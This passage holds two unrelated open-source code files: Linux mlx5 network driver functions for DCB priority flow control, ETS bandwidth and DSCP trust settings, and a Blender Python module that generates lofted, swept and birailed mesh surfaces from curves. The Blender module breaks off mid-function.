struct mlx5e_pport_stats *pstats = &priv->stats.pport;
int i;
pfc->pfc_cap = mlx5_max_tc(mdev) + 1;
for (i = 0; i < IEEE_8021QAZ_MAX_TCS; i++) {
pfc->requests[i] = PPORT_PER_PRIO_GET(pstats, i, tx_pause);
pfc->indications[i] = PPORT_PER_PRIO_GET(pstats, i, rx_pause);
}
return mlx5_query_port_pfc(mdev, &pfc->pfc_en, NULL);
}
static int mlx5e_dcbnl_ieee_setpfc(struct net_device *dev,
struct ieee_pfc *pfc)
{
struct mlx5e_priv *priv = netdev_priv(dev);
struct mlx5_core_dev *mdev = priv->mdev;
u8 curr_pfc_en;
int ret;
mlx5_query_port_pfc(mdev, &curr_pfc_en, NULL);
if (pfc->pfc_en == curr_pfc_en)
return 0;
ret = mlx5_set_port_pfc(mdev, pfc->pfc_en, pfc->pfc_en);
mlx5_toggle_port_link(mdev);
if (!ret) {
mlx5e_dbg(HW, priv,
"%s: PFC per priority bit mask: 0x%x\n",
__func__, pfc->pfc_en);
}
return ret;
}
static u8 mlx5e_dcbnl_getdcbx(struct net_device *dev)
{
struct mlx5e_priv *priv = netdev_priv(dev);
return priv->dcbx.cap;
}
static u8 mlx5e_dcbnl_setdcbx(struct net_device *dev, u8 mode)
{
struct mlx5e_priv *priv = netdev_priv(dev);
struct mlx5e_dcbx *dcbx = &priv->dcbx;
if (mode & DCB_CAP_DCBX_LLD_MANAGED)
return 1;
if ((!mode) && MLX5_CAP_GEN(priv->mdev, dcbx)) {
if (dcbx->mode == MLX5E_DCBX_PARAM_VER_OPER_AUTO)
return 0;
/* set dcbx to fw controlled */
if (!mlx5e_dcbnl_set_dcbx_mode(priv, MLX5E_DCBX_PARAM_VER_OPER_AUTO)) {
dcbx->mode = MLX5E_DCBX_PARAM_VER_OPER_AUTO;
dcbx->cap &= ~DCB_CAP_DCBX_HOST;
return 0;
}
return 1;
}
if (!(mode & DCB_CAP_DCBX_HOST))
return 1;
if (mlx5e_dcbnl_switch_to_host_mode(netdev_priv(dev)))
return 1;
dcbx->cap = mode;
return 0;
}
static int mlx5e_dcbnl_ieee_setapp(struct net_device *dev, struct dcb_app *app)
{
struct mlx5e_priv *priv = netdev_priv(dev);
struct dcb_app temp;
bool is_new;
int err;
if (app->selector != IEEE_8021QAZ_APP_SEL_DSCP)
return -EINVAL;
if (!MLX5_CAP_GEN(priv->mdev, vport_group_manager))
return -EINVAL;
if (!MLX5_DSCP_SUPPORTED(priv->mdev))
return -EINVAL;
if (app->protocol >= MLX5E_MAX_DSCP)
return -EINVAL;
/* Save the old entry info */
temp.selector = IEEE_8021QAZ_APP_SEL_DSCP;
temp.protocol = app->protocol;
temp.priority = priv->dcbx_dp.dscp2prio[app->protocol];
/* Check if need to switch to dscp trust state */
if (!priv->dcbx.dscp_app_cnt) {
err = mlx5e_set_trust_state(priv, MLX5_QPTS_TRUST_DSCP);
if (err)
return err;
}
/* Skip the fw command if new and old mapping are the same */
if (app->priority != priv->dcbx_dp.dscp2prio[app->protocol]) {
err = mlx5e_set_dscp2prio(priv, app->protocol, app->priority);
if (err)
goto fw_err;
}
/* Delete the old entry if exists */
is_new = false;
err = dcb_ieee_delapp(dev, &temp);
if (err)
is_new = true;
/* Add new entry and update counter */
err = dcb_ieee_setapp(dev, app);
if (err)
return err;
if (is_new)
priv->dcbx.dscp_app_cnt++;
return err;
fw_err:
mlx5e_set_trust_state(priv, MLX5_QPTS_TRUST_PCP);
return err;
}
static int mlx5e_dcbnl_ieee_delapp(struct net_device *dev, struct dcb_app *app)
{
struct mlx5e_priv *priv = netdev_priv(dev);
int err;
if (app->selector != IEEE_8021QAZ_APP_SEL_DSCP)
return -EINVAL;
if (!MLX5_CAP_GEN(priv->mdev, vport_group_manager))
return -EINVAL;
if (!MLX5_DSCP_SUPPORTED(priv->mdev))
return -EINVAL;
if (app->protocol >= MLX5E_MAX_DSCP)
return -EINVAL;
/* Skip if no dscp app entry */
if (!priv->dcbx.dscp_app_cnt)
return -ENOENT;
/* Check if the entry matches fw setting */
if (app->priority != priv->dcbx_dp.dscp2prio[app->protocol])
return -ENOENT;
/* Delete the app entry */
err = dcb_ieee_delapp(dev, app);
if (err)
return err;
/* Reset the priority mapping back to zero */
err = mlx5e_set_dscp2prio(priv, app->protocol, 0);
if (err)
goto fw_err;
priv->dcbx.dscp_app_cnt--;
/* Check if need to switch to pcp trust state */
if (!priv->dcbx.dscp_app_cnt)
err = mlx5e_set_trust_state(priv, MLX5_QPTS_TRUST_PCP);
return err;
fw_err:
mlx5e_set_trust_state(priv, MLX5_QPTS_TRUST_PCP);
return err;
}
static int mlx5e_dcbnl_ieee_getmaxrate(struct net_device *netdev,
struct ieee_maxrate *maxrate)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5_core_dev *mdev = priv->mdev;
u8 max_bw_value[IEEE_8021QAZ_MAX_TCS];
u8 max_bw_unit[IEEE_8021QAZ_MAX_TCS];
int err;
int i;
err = mlx5_query_port_ets_rate_limit(mdev, max_bw_value, max_bw_unit);
if (err)
return err;
memset(maxrate->tc_maxrate, 0, sizeof(maxrate->tc_maxrate));
for (i = 0; i <= mlx5_max_tc(mdev); i++) {
switch (max_bw_unit[i]) {
case MLX5_100_MBPS_UNIT:
maxrate->tc_maxrate[i] = max_bw_value[i] * MLX5E_100MB;
break;
case MLX5_GBPS_UNIT:
maxrate->tc_maxrate[i] = max_bw_value[i] * MLX5E_1GB;
break;
case MLX5_BW_NO_LIMIT:
break;
default:
WARN(true, "non-supported BW unit");
break;
}
}
return 0;
}
static int mlx5e_dcbnl_ieee_setmaxrate(struct net_device *netdev,
struct ieee_maxrate *maxrate)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5_core_dev *mdev = priv->mdev;
u8 max_bw_value[IEEE_8021QAZ_MAX_TCS];
u8 max_bw_unit[IEEE_8021QAZ_MAX_TCS];
__u64 upper_limit_mbps = roundup(255 * MLX5E_100MB, MLX5E_1GB);
int i;
memset(max_bw_value, 0, sizeof(max_bw_value));
memset(max_bw_unit, 0, sizeof(max_bw_unit));
for (i = 0; i <= mlx5_max_tc(mdev); i++) {
if (!maxrate->tc_maxrate[i]) {
max_bw_unit[i] = MLX5_BW_NO_LIMIT;
continue;
}
if (maxrate->tc_maxrate[i] < upper_limit_mbps) {
max_bw_value[i] = div_u64(maxrate->tc_maxrate[i],
MLX5E_100MB);
max_bw_value[i] = max_bw_value[i] ? max_bw_value[i] : 1;
max_bw_unit[i] = MLX5_100_MBPS_UNIT;
} else {
max_bw_value[i] = div_u64(maxrate->tc_maxrate[i],
MLX5E_1GB);
max_bw_unit[i] = MLX5_GBPS_UNIT;
}
}
for (i = 0; i < IEEE_8021QAZ_MAX_TCS; i++) {
mlx5e_dbg(HW, priv, "%s: tc_%d <=> max_bw %d Gbps\n",
__func__, i, max_bw_value[i]);
}
return mlx5_modify_port_ets_rate_limit(mdev, max_bw_value, max_bw_unit);
}
static u8 mlx5e_dcbnl_setall(struct net_device *netdev)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5e_cee_config *cee_cfg = &priv->dcbx.cee_cfg;
struct mlx5_core_dev *mdev = priv->mdev;
struct ieee_ets ets;
struct ieee_pfc pfc;
int err = -EOPNOTSUPP;
int i;
if (!MLX5_CAP_GEN(mdev, ets))
goto out;
memset(&ets, 0, sizeof(ets));
memset(&pfc, 0, sizeof(pfc));
ets.ets_cap = IEEE_8021QAZ_MAX_TCS;
for (i = 0; i < CEE_DCBX_MAX_PGS; i++) {
ets.tc_tx_bw[i] = cee_cfg->pg_bw_pct[i];
ets.tc_rx_bw[i] = cee_cfg->pg_bw_pct[i];
ets.tc_tsa[i] = IEEE_8021QAZ_TSA_ETS;
ets.prio_tc[i] = cee_cfg->prio_to_pg_map[i];
mlx5e_dbg(HW, priv,
"%s: Priority group %d: tx_bw %d, rx_bw %d, prio_tc %d\n",
__func__, i, ets.tc_tx_bw[i], ets.tc_rx_bw[i],
ets.prio_tc[i]);
}
err = mlx5e_dbcnl_validate_ets(netdev, &ets, true);
if (err)
goto out;
err = mlx5e_dcbnl_ieee_setets_core(priv, &ets);
if (err) {
netdev_err(netdev,
"%s, Failed to set ETS: %d\n", __func__, err);
goto out;
}
/* Set PFC */
pfc.pfc_cap = mlx5_max_tc(mdev) + 1;
if (!cee_cfg->pfc_enable)
pfc.pfc_en = 0;
else
for (i = 0; i < CEE_DCBX_MAX_PRIO; i++)
pfc.pfc_en |= cee_cfg->pfc_setting[i] << i;
err = mlx5e_dcbnl_ieee_setpfc(netdev, &pfc);
if (err) {
netdev_err(netdev,
"%s, Failed to set PFC: %d\n", __func__, err);
goto out;
}
out:
return err ? MLX5_DCB_NO_CHG : MLX5_DCB_CHG_RESET;
}
static u8 mlx5e_dcbnl_getstate(struct net_device *netdev)
{
return MLX5E_CEE_STATE_UP;
}
static void mlx5e_dcbnl_getpermhwaddr(struct net_device *netdev,
u8 *perm_addr)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
if (!perm_addr)
return;
memset(perm_addr, 0xff, MAX_ADDR_LEN);
mlx5_query_nic_vport_mac_address(priv->mdev, 0, perm_addr);
}
static void mlx5e_dcbnl_setpgtccfgtx(struct net_device *netdev,
int priority, u8 prio_type,
u8 pgid, u8 bw_pct, u8 up_map)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5e_cee_config *cee_cfg = &priv->dcbx.cee_cfg;
if (priority >= CEE_DCBX_MAX_PRIO) {
netdev_err(netdev,
"%s, priority is out of range\n", __func__);
return;
}
if (pgid >= CEE_DCBX_MAX_PGS) {
netdev_err(netdev,
"%s, priority group is out of range\n", __func__);
return;
}
cee_cfg->prio_to_pg_map[priority] = pgid;
}
static void mlx5e_dcbnl_setpgbwgcfgtx(struct net_device *netdev,
int pgid, u8 bw_pct)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5e_cee_config *cee_cfg = &priv->dcbx.cee_cfg;
if (pgid >= CEE_DCBX_MAX_PGS) {
netdev_err(netdev,
"%s, priority group is out of range\n", __func__);
return;
}
cee_cfg->pg_bw_pct[pgid] = bw_pct;
}
static void mlx5e_dcbnl_getpgtccfgtx(struct net_device *netdev,
int priority, u8 *prio_type,
u8 *pgid, u8 *bw_pct, u8 *up_map)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5_core_dev *mdev = priv->mdev;
if (!MLX5_CAP_GEN(priv->mdev, ets)) {
netdev_err(netdev, "%s, ets is not supported\n", __func__);
return;
}
if (priority >= CEE_DCBX_MAX_PRIO) {
netdev_err(netdev,
"%s, priority is out of range\n", __func__);
return;
}
*prio_type = 0;
*bw_pct = 0;
*up_map = 0;
if (mlx5_query_port_prio_tc(mdev, priority, pgid))
*pgid = 0;
}
static void mlx5e_dcbnl_getpgbwgcfgtx(struct net_device *netdev,
int pgid, u8 *bw_pct)
{
struct ieee_ets ets;
if (pgid >= CEE_DCBX_MAX_PGS) {
netdev_err(netdev,
"%s, priority group is out of range\n", __func__);
return;
}
mlx5e_dcbnl_ieee_getets(netdev, &ets);
*bw_pct = ets.tc_tx_bw[pgid];
}
static void mlx5e_dcbnl_setpfccfg(struct net_device *netdev,
int priority, u8 setting)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5e_cee_config *cee_cfg = &priv->dcbx.cee_cfg;
if (priority >= CEE_DCBX_MAX_PRIO) {
netdev_err(netdev,
"%s, priority is out of range\n", __func__);
return;
}
if (setting > 1)
return;
cee_cfg->pfc_setting[priority] = setting;
}
static int
mlx5e_dcbnl_get_priority_pfc(struct net_device *netdev,
int priority, u8 *setting)
{
struct ieee_pfc pfc;
int err;
err = mlx5e_dcbnl_ieee_getpfc(netdev, &pfc);
if (err)
*setting = 0;
else
*setting = (pfc.pfc_en >> priority) & 0x01;
return err;
}
static void mlx5e_dcbnl_getpfccfg(struct net_device *netdev,
int priority, u8 *setting)
{
if (priority >= CEE_DCBX_MAX_PRIO) {
netdev_err(netdev,
"%s, priority is out of range\n", __func__);
return;
}
if (!setting)
return;
mlx5e_dcbnl_get_priority_pfc(netdev, priority, setting);
}
static u8 mlx5e_dcbnl_getcap(struct net_device *netdev,
int capid, u8 *cap)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5_core_dev *mdev = priv->mdev;
u8 rval = 0;
switch (capid) {
case DCB_CAP_ATTR_PG:
*cap = true;
break;
case DCB_CAP_ATTR_PFC:
*cap = true;
break;
case DCB_CAP_ATTR_UP2TC:
*cap = false;
break;
case DCB_CAP_ATTR_PG_TCS:
*cap = 1 << mlx5_max_tc(mdev);
break;
case DCB_CAP_ATTR_PFC_TCS:
*cap = 1 << mlx5_max_tc(mdev);
break;
case DCB_CAP_ATTR_GSP:
*cap = false;
break;
case DCB_CAP_ATTR_BCN:
*cap = false;
break;
case DCB_CAP_ATTR_DCBX:
*cap = priv->dcbx.cap |
DCB_CAP_DCBX_VER_CEE |
DCB_CAP_DCBX_VER_IEEE;
break;
default:
*cap = 0;
rval = 1;
break;
}
return rval;
}
static int mlx5e_dcbnl_getnumtcs(struct net_device *netdev,
int tcs_id, u8 *num)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5_core_dev *mdev = priv->mdev;
switch (tcs_id) {
case DCB_NUMTCS_ATTR_PG:
case DCB_NUMTCS_ATTR_PFC:
*num = mlx5_max_tc(mdev) + 1;
break;
default:
return -EINVAL;
}
return 0;
}
static u8 mlx5e_dcbnl_getpfcstate(struct net_device *netdev)
{
struct ieee_pfc pfc;
if (mlx5e_dcbnl_ieee_getpfc(netdev, &pfc))
return MLX5E_CEE_STATE_DOWN;
return pfc.pfc_en ? MLX5E_CEE_STATE_UP : MLX5E_CEE_STATE_DOWN;
}
static void mlx5e_dcbnl_setpfcstate(struct net_device *netdev, u8 state)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5e_cee_config *cee_cfg = &priv->dcbx.cee_cfg;
if ((state != MLX5E_CEE_STATE_UP) && (state != MLX5E_CEE_STATE_DOWN))
return;
cee_cfg->pfc_enable = state;
}
const struct dcbnl_rtnl_ops mlx5e_dcbnl_ops = {
.ieee_getets = mlx5e_dcbnl_ieee_getets,
.ieee_setets = mlx5e_dcbnl_ieee_setets,
.ieee_getmaxrate = mlx5e_dcbnl_ieee_getmaxrate,
.ieee_setmaxrate = mlx5e_dcbnl_ieee_setmaxrate,
.ieee_getpfc = mlx5e_dcbnl_ieee_getpfc,
.ieee_setpfc = mlx5e_dcbnl_ieee_setpfc,
.ieee_setapp = mlx5e_dcbnl_ieee_setapp,
.ieee_delapp = mlx5e_dcbnl_ieee_delapp,
.getdcbx = mlx5e_dcbnl_getdcbx,
.setdcbx = mlx5e_dcbnl_setdcbx,
/* CEE interfaces */
.setall = mlx5e_dcbnl_setall,
.getstate = mlx5e_dcbnl_getstate,
.getpermhwaddr = mlx5e_dcbnl_getpermhwaddr,
.setpgtccfgtx = mlx5e_dcbnl_setpgtccfgtx,
.setpgbwgcfgtx = mlx5e_dcbnl_setpgbwgcfgtx,
.getpgtccfgtx = mlx5e_dcbnl_getpgtccfgtx,
.getpgbwgcfgtx = mlx5e_dcbnl_getpgbwgcfgtx,
.setpfccfg = mlx5e_dcbnl_setpfccfg,
.getpfccfg = mlx5e_dcbnl_getpfccfg,
.getcap = mlx5e_dcbnl_getcap,
.getnumtcs = mlx5e_dcbnl_getnumtcs,
.getpfcstate = mlx5e_dcbnl_getpfcstate,
.setpfcstate = mlx5e_dcbnl_setpfcstate,
};
static void mlx5e_dcbnl_query_dcbx_mode(struct mlx5e_priv *priv,
enum mlx5_dcbx_oper_mode *mode)
{
u32 out[MLX5_ST_SZ_DW(dcbx_param)];
*mode = MLX5E_DCBX_PARAM_VER_OPER_HOST;
if (!mlx5_query_port_dcbx_param(priv->mdev, out))
*mode = MLX5_GET(dcbx_param, out, version_oper);
/* From driver's point of view, we only care if the mode
* is host (HOST) or non-host (AUTO)
*/
if (*mode != MLX5E_DCBX_PARAM_VER_OPER_HOST)
*mode = MLX5E_DCBX_PARAM_VER_OPER_AUTO;
}
static void mlx5e_ets_init(struct mlx5e_priv *priv)
{
struct ieee_ets ets;
int err;
int i;
if (!MLX5_CAP_GEN(priv->mdev, ets))
return;
memset(&ets, 0, sizeof(ets));
ets.ets_cap = mlx5_max_tc(priv->mdev) + 1;
for (i = 0; i < ets.ets_cap; i++) {
ets.tc_tx_bw[i] = MLX5E_MAX_BW_ALLOC;
ets.tc_tsa[i] = IEEE_8021QAZ_TSA_VENDOR;
ets.prio_tc[i] = i;
}
if (ets.ets_cap > 1) {
/* tclass[prio=0]=1, tclass[prio=1]=0, tclass[prio=i]=i (for i>1) */
ets.prio_tc[0] = 1;
ets.prio_tc[1] = 0;
}
err = mlx5e_dcbnl_ieee_setets_core(priv, &ets);
if (err)
netdev_err(priv->netdev,
"%s, Failed to init ETS: %d\n", __func__, err);
}
enum {
INIT,
DELETE,
};
static void mlx5e_dcbnl_dscp_app(struct mlx5e_priv *priv, int action)
{
struct dcb_app temp;
int i;
if (!MLX5_CAP_GEN(priv->mdev, vport_group_manager))
return;
if (!MLX5_DSCP_SUPPORTED(priv->mdev))
return;
/* No SEL_DSCP entry in non DSCP state */
if (priv->dcbx_dp.trust_state != MLX5_QPTS_TRUST_DSCP)
return;
temp.selector = IEEE_8021QAZ_APP_SEL_DSCP;
for (i = 0; i < MLX5E_MAX_DSCP; i++) {
temp.protocol = i;
temp.priority = priv->dcbx_dp.dscp2prio[i];
if (action == INIT)
dcb_ieee_setapp(priv->netdev, &temp);
else
dcb_ieee_delapp(priv->netdev, &temp);
}
priv->dcbx.dscp_app_cnt = (action == INIT) ? MLX5E_MAX_DSCP : 0;
}
void mlx5e_dcbnl_init_app(struct mlx5e_priv *priv)
{
mlx5e_dcbnl_dscp_app(priv, INIT);
}
void mlx5e_dcbnl_delete_app(struct mlx5e_priv *priv)
{
mlx5e_dcbnl_dscp_app(priv, DELETE);
}
static void mlx5e_trust_update_tx_min_inline_mode(struct mlx5e_priv *priv,
struct mlx5e_params *params)
{
params->tx_min_inline_mode = mlx5e_params_calculate_tx_min_inline(priv->mdev);
if (priv->dcbx_dp.trust_state == MLX5_QPTS_TRUST_DSCP &&
params->tx_min_inline_mode == MLX5_INLINE_MODE_L2)
params->tx_min_inline_mode = MLX5_INLINE_MODE_IP;
}
static void mlx5e_trust_update_sq_inline_mode(struct mlx5e_priv *priv)
{
struct mlx5e_channels new_channels = {};
mutex_lock(&priv->state_lock);
new_channels.params = priv->channels.params;
mlx5e_trust_update_tx_min_inline_mode(priv, &new_channels.params);
if (!test_bit(MLX5E_STATE_OPENED, &priv->state)) {
priv->channels.params = new_channels.params;
goto out;
}
/* Skip if tx_min_inline is the same */
if (new_channels.params.tx_min_inline_mode ==
priv->channels.params.tx_min_inline_mode)
goto out;
if (mlx5e_open_channels(priv, &new_channels))
goto out;
mlx5e_switch_priv_channels(priv, &new_channels, NULL);
out:
mutex_unlock(&priv->state_lock);
}
static int mlx5e_set_trust_state(struct mlx5e_priv *priv, u8 trust_state)
{
int err;
err = mlx5_set_trust_state(priv->mdev, trust_state);
if (err)
return err;
priv->dcbx_dp.trust_state = trust_state;
mlx5e_trust_update_sq_inline_mode(priv);
return err;
}
static int mlx5e_set_dscp2prio(struct mlx5e_priv *priv, u8 dscp, u8 prio)
{
int err;
err = mlx5_set_dscp2prio(priv->mdev, dscp, prio);
if (err)
return err;
priv->dcbx_dp.dscp2prio[dscp] = prio;
return err;
}
static int mlx5e_trust_initialize(struct mlx5e_priv *priv)
{
struct mlx5_core_dev *mdev = priv->mdev;
int err;
priv->dcbx_dp.trust_state = MLX5_QPTS_TRUST_PCP;
if (!MLX5_DSCP_SUPPORTED(mdev))
return 0;
err = mlx5_query_trust_state(priv->mdev, &priv->dcbx_dp.trust_state);
if (err)
return err;
mlx5e_trust_update_tx_min_inline_mode(priv, &priv->channels.params);
err = mlx5_query_dscp2prio(priv->mdev, priv->dcbx_dp.dscp2prio);
if (err)
return err;
return 0;
}
void mlx5e_dcbnl_initialize(struct mlx5e_priv *priv)
{
struct mlx5e_dcbx *dcbx = &priv->dcbx;
mlx5e_trust_initialize(priv);
if (!MLX5_CAP_GEN(priv->mdev, qos))
return;
if (MLX5_CAP_GEN(priv->mdev, dcbx))
mlx5e_dcbnl_query_dcbx_mode(priv, &dcbx->mode);
priv->dcbx.cap = DCB_CAP_DCBX_VER_CEE |
DCB_CAP_DCBX_VER_IEEE;
if (priv->dcbx.mode == MLX5E_DCBX_PARAM_VER_OPER_HOST)
priv->dcbx.cap |= DCB_CAP_DCBX_HOST;
mlx5e_ets_init(priv);
}
| {
"pile_set_name": "Github"
} |
import bpy
import bmesh
from . import mathematics
from . import curves
class LoftedSplineSurface:
def __init__(self, activeSpline, otherSpline, bMesh, vert0Index, resolution):
self.splineA = activeSpline
self.splineO = otherSpline
self.bMesh = bMesh
self.vert0Index = vert0Index
self.resolution = resolution
def Apply(self, worldMatrixA, worldMatrixO):
#deltaPar = 1.0 / float(self.resolution - 1)
par = 0.0
pointA = worldMatrixA @ self.splineA.CalcPoint(par)
pointO = worldMatrixO @ self.splineO.CalcPoint(par)
self.bMesh.verts[self.vert0Index].co = pointA
self.bMesh.verts[self.vert0Index + 1].co = pointO
fltResm1 = float(self.resolution - 1)
for i in range(1, self.resolution):
par = float(i) / fltResm1
pointA = worldMatrixA @ self.splineA.CalcPoint(par)
pointO = worldMatrixO @ self.splineO.CalcPoint(par)
self.bMesh.verts[self.vert0Index + 2 * i].co = pointA
self.bMesh.verts[self.vert0Index + 2 * i + 1].co = pointO
def AddFaces(self):
currIndexA = self.vert0Index
currIndexO = self.vert0Index + 1
bmVerts = self.bMesh.verts
bmVerts.ensure_lookup_table()
for i in range(1, self.resolution):
nextIndexA = self.vert0Index + 2 * i
nextIndexO = nextIndexA + 1
self.bMesh.faces.new([bmVerts[currIndexA], bmVerts[currIndexO], bmVerts[nextIndexO], bmVerts[nextIndexA]])
currIndexA = nextIndexA
currIndexO = nextIndexO
class LoftedSurface:
@staticmethod
def FromSelection():
selObjects = bpy.context.selected_objects
if len(selObjects) != 2: raise Exception("len(selObjects) != 2") # shouldn't be possible
blenderActiveCurve = bpy.context.active_object
blenderOtherCurve = selObjects[0]
if blenderActiveCurve == blenderOtherCurve: blenderOtherCurve = selObjects[1]
aCurve = curves.Curve(blenderActiveCurve)
oCurve = curves.Curve(blenderOtherCurve)
name = "TODO: autoname"
return LoftedSurface(aCurve, oCurve, name)
def __init__(self, activeCurve, otherCurve, name = "LoftedSurface"):
self.curveA = activeCurve
self.curveO = otherCurve
self.name = name
self.nrSplines = self.curveA.nrSplines
if self.curveO.nrSplines < self.nrSplines: self.nrSplines = self.curveO.nrSplines
self.bMesh = bmesh.new()
self.splineSurfaces = self.SetupSplineSurfaces()
self.Apply()
def SetupSplineSurfaces(self):
rvSplineSurfaces = []
currV0Index = 0
for i in range(self.nrSplines):
splineA = self.curveA.splines[i]
splineO = self.curveO.splines[i]
res = splineA.resolution
if splineO.resolution < res: res = splineO.resolution
for iv in range(2 * res): self.bMesh.verts.new()
splSurf = LoftedSplineSurface(splineA, splineO, self.bMesh, currV0Index, res)
splSurf.AddFaces()
rvSplineSurfaces.append(splSurf)
currV0Index += 2 * res
return rvSplineSurfaces
def Apply(self):
for splineSurface in self.splineSurfaces: splineSurface.Apply(self.curveA.worldMatrix, self.curveO.worldMatrix)
def AddToScene(self):
mesh = bpy.data.meshes.new("Mesh" + self.name)
self.bMesh.to_mesh(mesh)
mesh.update()
meshObject = bpy.data.objects.new(self.name, mesh)
bpy.context.collection.objects.link(meshObject)
# active spline is swept over other spline (rail)
class SweptSplineSurface:
def __init__(self, activeSpline, otherSpline, bMesh, vert0Index, resolutionA, resolutionO):
self.splineA = activeSpline
self.splineO = otherSpline
self.bMesh = bMesh
self.vert0Index = vert0Index
self.resolutionA = resolutionA
self.resolutionO = resolutionO
def Apply(self, worldMatrixA, worldMatrixO):
localPointsA = []
fltResAm1 = float(self.resolutionA - 1)
for i in range(self.resolutionA):
par = float(i) / fltResAm1
pointA = self.splineA.CalcPoint(par)
localPointsA.append(pointA)
worldPointsO = []
localDerivativesO = []
fltResOm1 = float(self.resolutionO - 1)
for i in range(self.resolutionO):
par = float(i) / fltResOm1
pointO = self.splineO.CalcPoint(par)
worldPointsO.append(worldMatrixO @ pointO)
derivativeO = self.splineO.CalcDerivative(par)
localDerivativesO.append(derivativeO)
currWorldMatrixA = worldMatrixA
worldMatrixOInv = worldMatrixO.inverted()
prevDerivativeO = localDerivativesO[0]
for iO in range(self.resolutionO):
currDerivativeO = localDerivativesO[iO]
localRotMatO = mathematics.CalcRotationMatrix(prevDerivativeO, currDerivativeO)
currLocalAToLocalO = worldMatrixOInv @ currWorldMatrixA
worldPointsA = []
for iA in range(self.resolutionA):
pointALocalToO = currLocalAToLocalO @ localPointsA[iA]
rotatedPointA = localRotMatO @ pointALocalToO
worldPointsA.append(worldMatrixO @ rotatedPointA)
worldOffsetsA = []
worldPoint0A = worldPointsA[0]
for i in range(self.resolutionA): worldOffsetsA.append(worldPointsA[i] - worldPoint0A)
for iA in range(self.resolutionA):
iVert = self.vert0Index + (self.resolutionA * iO) + iA
currVert = worldPointsO[iO] + worldOffsetsA[iA]
self.bMesh.verts[iVert].co = currVert
prevDerivativeO = currDerivativeO
currWorldMatrixA = worldMatrixO @ localRotMatO @ currLocalAToLocalO
def AddFaces(self):
bmVerts = self.bMesh.verts
bmVerts.ensure_lookup_table()
for iO in range(self.resolutionO - 1):
for iA in range(self.resolutionA - 1):
currIndexA1 = self.vert0Index + (self.resolutionA * iO) + iA
currIndexA2 = currIndexA1 + 1
nextIndexA1 = self.vert0Index + (self.resolutionA * (iO + 1)) + iA
nextIndexA2 = nextIndexA1 + 1
self.bMesh.faces.new([bmVerts[currIndexA1], bmVerts[currIndexA2], bmVerts[nextIndexA2], bmVerts[nextIndexA1]])
class SweptSurface:
@staticmethod
def FromSelection():
selObjects = bpy.context.selected_objects
if len(selObjects) != 2: raise Exception("len(selObjects) != 2") # shouldn't be possible
blenderActiveCurve = bpy.context.active_object
blenderOtherCurve = selObjects[0]
if blenderActiveCurve == blenderOtherCurve: blenderOtherCurve = selObjects[1]
aCurve = curves.Curve(blenderActiveCurve)
oCurve = curves.Curve(blenderOtherCurve)
name = "TODO: autoname"
return SweptSurface(aCurve, oCurve, name)
def __init__(self, activeCurve, otherCurve, name = "SweptSurface"):
self.curveA = activeCurve
self.curveO = otherCurve
self.name = name
self.nrSplines = self.curveA.nrSplines
if self.curveO.nrSplines < self.nrSplines: self.nrSplines = self.curveO.nrSplines
self.bMesh = bmesh.new()
self.splineSurfaces = self.SetupSplineSurfaces()
self.Apply()
def SetupSplineSurfaces(self):
rvSplineSurfaces = []
currV0Index = 0
for i in range(self.nrSplines):
splineA = self.curveA.splines[i]
splineO = self.curveO.splines[i]
resA = splineA.resolution
resO = splineO.resolution
for iv in range(resA * resO): self.bMesh.verts.new()
splSurf = SweptSplineSurface(splineA, splineO, self.bMesh, currV0Index, resA, resO)
splSurf.AddFaces()
rvSplineSurfaces.append(splSurf)
currV0Index += resA * resO
return rvSplineSurfaces
def Apply(self):
for splineSurface in self.splineSurfaces: splineSurface.Apply(self.curveA.worldMatrix, self.curveO.worldMatrix)
def AddToScene(self):
mesh = bpy.data.meshes.new("Mesh" + self.name)
self.bMesh.to_mesh(mesh)
mesh.update()
meshObject = bpy.data.objects.new(self.name, mesh)
bpy.context.collection.objects.link(meshObject)
# profileSpline is swept over rail1Spline and scaled/rotated to have its endpoint on rail2Spline
class BirailedSplineSurface:
def __init__(self, rail1Spline, rail2Spline, profileSpline, bMesh, vert0Index, resolutionRails, resolutionProfile):
self.rail1Spline = rail1Spline
self.rail2Spline = rail2Spline
self.profileSpline = profileSpline
self.bMesh = bMesh
self.vert0Index = vert0Index
self.resolutionRails = resolutionRails
self.resolutionProfile = resolutionProfile
def Apply(self, worldMatrixRail1, worldMatrixRail2, worldMatrixProfile):
localPointsProfile = []
fltResProfilem1 = float(self.resolutionProfile - 1)
for i in range(self.resolutionProfile):
par = float(i) / fltResProfilem1
pointProfile = self.profileSpline.CalcPoint(par)
localPointsProfile.append(pointProfile)
worldPointsRail1 = []
localDerivativesRail1 = []
worldPointsRail2 = []
fltResRailsm1 = float(self.resolutionRails - 1)
for i in range(self.resolutionRails):
par = float(i) / fltResRailsm1
pointRail1 = self.rail1Spline.CalcPoint(par)
worldPointsRail1.append(worldMatrixRail1 @ pointRail1)
derivativeRail1 = self.rail1Spline.CalcDerivative(par)
localDerivativesRail1.append(derivativeRail1)
pointRail2 = self.rail2Spline.CalcPoint(par)
worldPointsRail2.append(worldMatrixRail2 @ pointRail2)
currWorldMatrixProfile = worldMatrixProfile
worldMatrixRail1Inv = worldMatrixRail1.inverted()
prevDerivativeRail1 = localDerivativesRail1[0]
for iRail in range(self.resolutionRails):
currDerivativeRail1 = localDerivativesRail1[iRail]
localRotMatRail1 = mathematics.CalcRotationMatrix(prevDerivativeRail1, currDerivativeRail1)
currLocalProfileToLocalRail1 = worldMatrixRail1Inv @ currWorldMatrixProfile
worldPointsProfileRail1 = []
for iProfile in range(self.resolutionProfile):
pointProfileLocalToRail1 = currLocalProfileToLocalRail1 @ localPointsProfile[iProfile]
rotatedPointProfile = localRotMatRail1 @ pointProfileLocalToRail1
worldPointsProfileRail1.append(worldMatrixRail1 @ rotatedPointProfile)
worldOffsetsProfileRail1 = []
worldPoint0ProfileRail1 = worldPointsProfileRail1[0]
